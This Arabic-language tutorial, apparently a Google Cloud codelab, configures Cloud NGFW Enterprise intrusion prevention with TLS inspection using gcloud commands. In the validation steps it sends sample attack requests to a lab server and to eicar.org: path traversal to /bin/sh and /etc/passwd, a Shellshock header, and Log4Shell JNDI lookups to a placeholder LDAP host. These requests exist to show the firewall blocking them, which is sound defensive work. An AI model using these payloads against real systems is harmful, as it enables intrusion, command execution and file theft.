درس تطبيقي حول ترميز Cloud NGFW Enterprise [مع فحص بروتوكول أمان طبقة النقل (TLS)]

1. مقدمة

Cloud Next Generation Firewall (NGFW)

‫Cloud Next Generation Firewall هي خدمة جدار حماية موزّعة بالكامل تتضمّن إمكانات حماية متقدّمة وتقسيمًا دقيقًا وتغطية شاملة لحماية أحمال عمل Google Cloud من الهجمات الداخلية والخارجية.

تتضمّن Cloud NGFW المزايا التالية:

  • خدمة جدار الحماية الموزّع: يوفّر Cloud NGFW تنفيذًا كاملاً وموزّعًا ومستندًا إلى المضيف على كل عبء عمل لتمكين بنية أمان تعتمد على "نهج الثقة المعدومة".
  • إعداد ونشر مبسطان: تنفّذ خدمة Cloud NGFW سياسات شبكة وجدار حماية هرمية يمكن ربطها بعقدة التسلسل الهرمي للموارد. توفّر هذه السياسات تجربة جدار حماية متسقة في جميع أنحاء التسلسل الهرمي لموارد Google Cloud.
  • التحكّم الدقيق والتقسيم الدقيق: يوفّر الجمع بين سياسات جدار الحماية والعلامات التي تحكمها خدمة "إدارة الهوية والوصول" (IAM) تحكّمًا دقيقًا في حركة البيانات بين الشمال والجنوب وبين الشرق والغرب، وصولاً إلى جهاز افتراضي واحد، وذلك على مستوى شبكات السحابة الإلكترونية الافتراضية الخاصة (VPC) والمؤسسات.

يتوفّر Cloud NGFW في الفئات التالية:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

تضيف Cloud NGFW Enterprise خدمة "منع التطفّل" (IPS)، وهي إحدى إمكانات الطبقة 7، إلى بنية Google Cloud Firewall الموزّعة. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بفحص الزيارات المشفّرة باستخدام بروتوكول أمان طبقة النقل.

يمكنك الآن نشر عمليات فحص موثوقة لجدار الحماية من الجيل التالي (NGFW) من الطبقة 7 مع عناصر تحكّم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.

لتفعيل عناصر التحكّم في جدار الحماية من الطبقة 7 ونشرها باستخدام نظام منع التطفّل، عليك تنفيذ المهام التالية:

  • أنشئ مجموعة من نقاط نهاية جدار الحماية الإقليمي المُدارة من Google Cloud.
  • يمكنك اختياريًا إنشاء "سياسة فحص طبقة النقل الآمنة".
  • يمكنك اختياريًا إنشاء إعدادات الثقة.
  • اربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج فيها إلى خدمة Cloud NGFW Enterprise.
  • أجرِ تغييرات بسيطة على سياسات جدار الحماية وقواعده الحالية لتحديد ملفات تعريف منع التهديدات لمسارات الزيارات المختلفة.

سياسات جدار الحماية بين الشبكات

تعمل سياسة جدار الحماية بين الشبكات كحاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار حماية بين الشبكات في أي مكان إلى أن يتم ربط السياسة بشبكة سحابة VPC. يمكن أن تتضمّن كل شبكة VPC سياسة واحدة لجدار الحماية بين الشبكات مرتبطة بها. تتيح سياسات جدار الحماية بين الشبكات استخدام "العلامات" (أو "العلامات" فقط) التي تحكمها إدارة الهوية وإمكانية الوصول (IAM) في قواعد جدار الحماية، والتي تحلّ محلّ علامات الشبكة الحالية ويمكن استخدامها لتوفير هوية لعبء العمل.

يؤدي مشاركة سياسة جدار الحماية بين الشبكات بين الشبكات والدمج مع العلامات التي تحكمها خدمة "إدارة الهوية وإمكانية الوصول" إلى تبسيط عملية إعداد وإدارة برامج جدار الحماية بشكل كبير.

مع طرح سياسة جدار حماية بين الشبكات، أصبحت سياسات جدار الحماية في Google Cloud تتألف من المكوّنات التالية:

  1. سياسة جدار الحماية الهرمية
  2. قواعد جدار الحماية في شبكة VPC
  3. سياسة جدار الحماية بين الشبكات ( عالمية وإقليمية)

تتوفّر سياسات جدار الحماية الهرمية على مستوى المؤسسة وعُقد المجلدات ضمن التسلسل الهرمي للموارد، بينما يتم تطبيق قواعد جدار الحماية في شبكة VPC وسياسات جدار الحماية بين الشبكات على مستوى شبكة VPC. يتمثّل الاختلاف الكبير بين قواعد جدار الحماية في شبكة VPC وسياسات جدار حماية بين الشبكات في أنّه لا يمكن تطبيق قواعد جدار الحماية في شبكة VPC إلا على شبكة VPC واحدة، بينما يمكن ربط سياسات جدار حماية بين الشبكات بشبكة VPC واحدة أو مجموعة من شبكات VPC، بالإضافة إلى مزايا أخرى مثل التعديلات المجمّعة.

أخيرًا، لدينا أيضًا قواعد جدار الحماية الضمنية التي تأتي مع كل شبكة VPC:

  • قاعدة خروج يكون إجراءها السماح، والوجهة 0.0.0.0/0
  • قاعدة دخول يكون إجراءها هو الرفض، والمصدر هو 0.0.0.0/0

يتم عرض تسلسل الفرض تلقائيًا في المخطّط البياني التالي:

21b3bcabc469ffe.png

يُرجى العِلم أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار الحماية في شبكة VPC وسياسة جدار الحماية على مستوى الشبكة العامة. يمكن للعملاء تحديد ترتيب التنفيذ في أي وقت باستخدام أمر gcloud.

العلامات

إنّ العلامات المدمجة في قواعد سياسة جدار حماية بين الشبكات هي موارد تتألف من أزواج مفتاح/قيمة يتم تحديدها على مستوى المؤسسة أو المشروع في التسلسل الهرمي لموارد Google Cloud. تحتوي هذه العلامة على عناصر تحكّم في الوصول إلى IAM تحدّد الإجراءات التي يمكن للمستخدم تنفيذها على العلامة. تسمح أذونات إدارة الهوية وإمكانية الوصول (IAM)، على سبيل المثال، بتحديد الجهات الرئيسية التي يمكنها تعيين قيم للعلامات والجهات الرئيسية التي يمكنها إرفاق العلامات بالموارد. إذا كانت قاعدة جدار حماية بين الشبكات تشير إلى علامة، يجب تطبيقها على أحد الموارد لفرضها.

تلتزم العلامات بنموذج الموارد الموروثة في Google Cloud، ما يعني أنّه يتم نقل العلامات وقيمها في جميع أنحاء التسلسل الهرمي من العناصر الرئيسية. نتيجةً لذلك، يمكن إنشاء العلامات في مكان واحد ثم استخدامها في مجلدات ومشاريع أخرى في جميع أنحاء التدرّج الهرمي للموارد. يُرجى الانتقال إلى هذه الصفحة للاطّلاع على تفاصيل حول العلامات وقيود الوصول.

يجب عدم الخلط بين العلامات وعلامات الشبكة. والأخيرة هي سلاسل يمكن إضافتها إلى آلات Compute Engine الافتراضية، وهي مرتبطة بالآلة الافتراضية وتختفي عند إيقافها نهائيًا. قد تتضمّن قواعد جدار الحماية في شبكة VPC علامات شبكة، ولكن بما أنّها لا تُعدّ من موارد السحابة الإلكترونية، فهي لا تخضع للتحكّم في الوصول في "إدارة الهوية وإمكانية الوصول".

يُرجى العِلم أنّه يتم استخدام مصطلحَي "علامات" و"علامات تحكمها إدارة الهوية وإمكانية الوصول" بالتبادل في هذا المستند.

ما ستنشئه

يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا وإمكانية إنشاء شبكة VPC بالإضافة إلى إدارة عدد من موارد الشبكة والأمان. سيوضّح هذا العرض التوضيحي كيف يمكن أن توفّر Cloud NGFW Enterprise وظيفة نظام منع التطفّل من خلال:

  • فحص تدفقات الإنترنت المتجهة إلى الشمال باستخدام فحص بروتوكول أمان طبقة النقل (TLS)
  • فحص عمليات نقل البيانات داخل شبكة VPC [شرق-غرب] باستخدام فحص بروتوكول أمان طبقة النقل (TLS)

سيتم اختيار التدفقات التي سيتم فحصها باستخدام مَعلمات المطابقة في Cloud Firewall، بما في ذلك 5-tuple (عنوان IP المصدر، عنوان IP الوجهة، البروتوكول، منفذ المصدر، منفذ الوجهة) والعلامات.

3d0f288d3b92a295.png

ستكون الحالة النهائية لقاعدة بيانات قواعد سياسة جدار حماية بين الشبكات مشابهة للجدول أدناه:

الأولوية

الاتجاه

Target

المصدر

الوجهة

الإجراء

النوع

100

حركة بيانات واردة

Server_Tag

Health-Checks

أي

السماح

Essentials

200

حركة بيانات واردة

Client_Tag, Server_Tag

شراء داخل التطبيق

أي

السماح

Essentials

800

حركة بيانات واردة

Server_Tag

10.0.0.0/24

10.0.0.0/24

فحص الطبقة 7

للمؤسسات

850

حركة بيانات صادرة

Client_Tag

أي

10.0.0.0/24

السماح

Essentials

900

حركة بيانات صادرة

Client_Tag

أي

أي

فحص الطبقة 7

للمؤسسات

ما ستتعلمه

  • كيفية إنشاء سياسة جدار حماية بين الشبكات
  • كيفية إنشاء علامات واستخدامها مع سياسة جدار حماية بين الشبكات
  • كيفية إعداد Cloud NGFW Enterprise واستخدامه مع فحص بروتوكول أمان طبقة النقل (TLS)

المتطلبات

  • مشروع على السحابة الإلكترونية من Google
  • معرفة كيفية نشر الآلات الافتراضية وضبط مكونات الشبكة
  • معرفة إعدادات جدار الحماية في شبكة VPC

2. قبل البدء

إنشاء المتغيرات أو تعديلها

يستفيد هذا الدرس التطبيقي حول الترميز من $variables للمساعدة في تنفيذ عملية ضبط gcloud في Cloud Shell.

في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات بين الأقواس حسب الحاجة:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3- تفعيل واجهات برمجة التطبيقات

فعِّل واجهات برمجة التطبيقات إذا لم يسبق لك ذلك:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. إنشاء نقاط نهاية Cloud NGFW Enterprise

بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق حوالي 20 دقيقة، سيتم إنشاؤها أولاً ويمكن إجراء عملية الإعداد الأساسية بالتوازي أثناء إنشاء نقطة النهاية.

إنشاء ملف الأمان ومجموعة ملفات الأمان:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

الناتج المتوقّع:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

تأكَّد من إنشاء الموارد بنجاح:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

الناتج المتوقّع (يُرجى العلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

أنشئ نقطة نهاية Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

نفِّذ الأمر أدناه للتأكّد من أنّ نقطة النهاية قيد الإنشاء (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

الناتج المتوقّع:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

تستغرق عملية الإنشاء حوالي 20 دقيقة. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء المراجع المطلوبة بالتوازي.

5- الإعداد الأساسي

شبكة السحابة الإلكترونية الافتراضية الخاصة (VPC) والشبكة الفرعية

شبكة VPC والشبكة الفرعية

أنشئ شبكة السحابة الإلكترونية الافتراضية الخاصة (VPC) والشبكة الفرعية:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

أنشئ Cloud Router وبوابة Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

إطارات مبعثَرة

أنشئ مثيلات العميل وخادم الويب:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

علامات على مستوى المشروع

امنح إذن tagAdmin للمستخدم إذا لزم الأمر:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

أنشئ مفتاح العلامة وقيمها على مستوى المشروع:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

ربط العلامات بالمثيلات:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

سياسة جدار حماية بين الشبكات على مستوى الشبكة العالمية

أنشئ سياسة جدار حماية بين الشبكات عامة:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

أنشئ قواعد Cloud Firewall Essential المطلوبة للسماح بزيارات من نطاقات health-check وidentity-aware proxy:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

أنشئ قواعد Cloud Firewall المطلوبة للسماح بزيارات الدخول من الشرق إلى الغرب / داخل الشبكة الفرعية من النطاقات المحدّدة (سيتم تعديل هذه القواعد لتفعيل Cloud NGFW Enterprise مع فحص TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

ربط سياسة جدار الحماية السحابي بشبكة VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. ربط نقطة نهاية Cloud Firewall

حدِّد متغيّرات البيئة إذا لم يسبق لك إجراء ذلك و/أو كنت تفضّل استخدام طريقة النص البرمجي.

تأكَّد من اكتمال عملية إنشاء نقطة نهاية Cloud Firewall بنجاح. لا تتابع إلا بعد أن تظهر الحالة نشط (أثناء الإنشاء، الحالة المتوقّعة هي قيد الإنشاء):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الناتج قد يختلف حسب العميل المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

الناتج المتوقّع:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

اربط نقطة نهاية Cloud Firewall بشبكة VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

تستغرق عملية الربط 10 دقائق تقريبًا. لا تنتقل إلى قسم "طبقة النقل الآمنة" إلا بعد أن تظهر الحالة نشط (أثناء الإنشاء، الحالة المتوقّعة هي قيد الإنشاء):

gcloud network-security firewall-endpoint-associations list

الناتج المتوقّع عند اكتمال العملية:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

الناتج المتوقّع:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. إعداد مراجع بروتوكول أمان طبقة النقل

إنشاء مجموعة هيئات إصدار شهادات سيتم استخدام هذا المرجع لتخزين شهادة CA الجذر التي ننشئها لـ NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

أنشئ مرجع التصديق الجذر. هذه هي شهادة CA التي سيتم استخدامها لتوقيع شهادات إضافية للطلبات من خلال NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

إذا ظهرت لك الرسالة أدناه، أجب بـ y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

أنشئ حساب خدمة. سيتم استخدام حساب الخدمة هذا لطلب شهادات NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

اضبط أذونات إدارة الهوية وإمكانية الوصول لحساب الخدمة:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

أنشئ ملف YAML الخاص بسياسة TLS. سيحتوي هذا الملف على معلومات حول المراجع المحدّدة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

استورِد سياسة فحص طبقة النقل الآمنة:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

عدِّل ربط نقطة النهاية لتفعيل بروتوكول أمان طبقة النقل (TLS):

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

احصل على شهادة CA وأضِفها إلى متجر CA الخاص بالعميل:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

انقل شهادة CA إلى العميل:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

يمكنك الوصول إلى الجهاز الافتراضي (VM) عبر بروتوكول النقل الآمن (SSH)، ونقل شهادة CA إلى /usr/local/share/ca-certificates وتعديل مخزن CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

الخروج والعودة إلى cloudshell

عملية توقيع شهادة الخادم:

في Cloud Shell، ثبِّت مكتبة Pyca cryptography باستخدام الأمر pip:

pip install --user "cryptography>=2.2.0"

للسماح لأداة Google Cloud SDK باستخدام مكتبة Pyca للتشفير، يجب تفعيل حِزم المواقع الإلكترونية.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

أنشئ شهادة الخادم:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

سيؤدي ذلك إلى إنشاء ملف cert.pem وملف key.pem في Cloud Shell. بعد ذلك، انقل الشهادة والمفتاح إلى الخادم.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

تسجيل الدخول إلى الخادم عبر SSH لتعديل تفاصيل الشهادة في Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

انقل الشهادة والمفتاح إلى مجلد محدّد:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

عدِّل إعدادات طبقة المقابس الآمنة لاستخدام شهادة موقَّعة:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

أعِد تشغيل Apache:

sudo systemctl restart apache2

تحقَّق من حالة Apache:

sudo systemctl status apache2

يجب أن يكون نشطًا (قيد التشغيل).

اخرج من الجهاز الافتراضي وواصِل العمل على Cloud Shell.

8. التحقّق من صحة الاتصال بين الشمال والجنوب والشرق والغرب

نفِّذ الأوامر أدناه في Cloud Shell واحتفِظ بعناوين IP المستهدَفة التي سيتم استخدامها:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

افتح علامة تبويب جديدة وابدأ اتصال بروتوكول النقل الآمن (SSH) بالجهاز الافتراضي (VM) للعميل من خلال IAP (عليك تحديد المتغيرات في علامة التبويب الجديدة):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

نفِّذ الأوامر أدناه ودوِّن عناوين IP المستهدَفة التي سيتم استخدامها. أنشئ المتغيّرات مع استبدال القيم بين الأقواس بعناوين IP المذكورة في الخطوة السابقة وتأكَّد من إمكانية الوصول إليها:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

استخدِم Curl لعنوان IP الخاص وتأكَّد من إمكانية الوصول إليه:

curl https://$target_privateip --max-time 2

النتائج المتوقّعة لطلب curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

أرسِل عيّنات من الهجمات إلى عنوان IP. يجب أن يستجيب خادم الويب لجميع الطلبات، مؤكّدًا عدم توفّر أي فحص أو منع من المستوى 7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

مثال على النتائج المتوقّعة (عنوان IP خاص):

400
404
400
200
200

وبالمثل، أرسِل طلبات إلى وجهة على الإنترنت:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

نموذج للنتائج المتوقّعة (وجهة الإنترنت):

400
404
400
403
403

اخرج من نافذة الجهاز الافتراضي الطرفية وارجع إلى Cloud Shell.

9- إنشاء قواعد جدار الحماية وتعديلها لعملية فحص بروتوكول أمان طبقة النقل (TLS)

في السابق، أعددنا قاعدة جدار الحماية للسماح بحركة المرور الواردة إلى الخادم من الشبكة الفرعية الداخلية. سنعدّل الآن قواعد الدخول الحالية ونضبط الإجراء على apply_security_profile_group. سيؤدي ذلك إلى تفعيل فحص الطبقة 7 في اتجاه الشرق/الغرب باستخدام بروتوكول TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

أنشئ قاعدة جديدة لفحص L7 الصادر باستخدام بروتوكول أمان طبقة النقل (TLS).

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

أنشئ قاعدة جديدة للسماح بالخروج من الشرق إلى الغرب لمنع الفحص المزدوج.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. التحقّق من صحة فحص طبقة النقل الآمنة (TLS) في اتجاه الشمال

عُد إلى علامة تبويب الجهاز الافتراضي للعميل أو أعِد الاتصال:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

أرسِل الهجمات النموذجية إلى وجهة على الإنترنت:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

لم يتم تلقّي أي ردود وفقًا للناتج المتوقّع أدناه، ما يؤكّد أنّه يتم الآن حظر الهجمات النموذجية:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
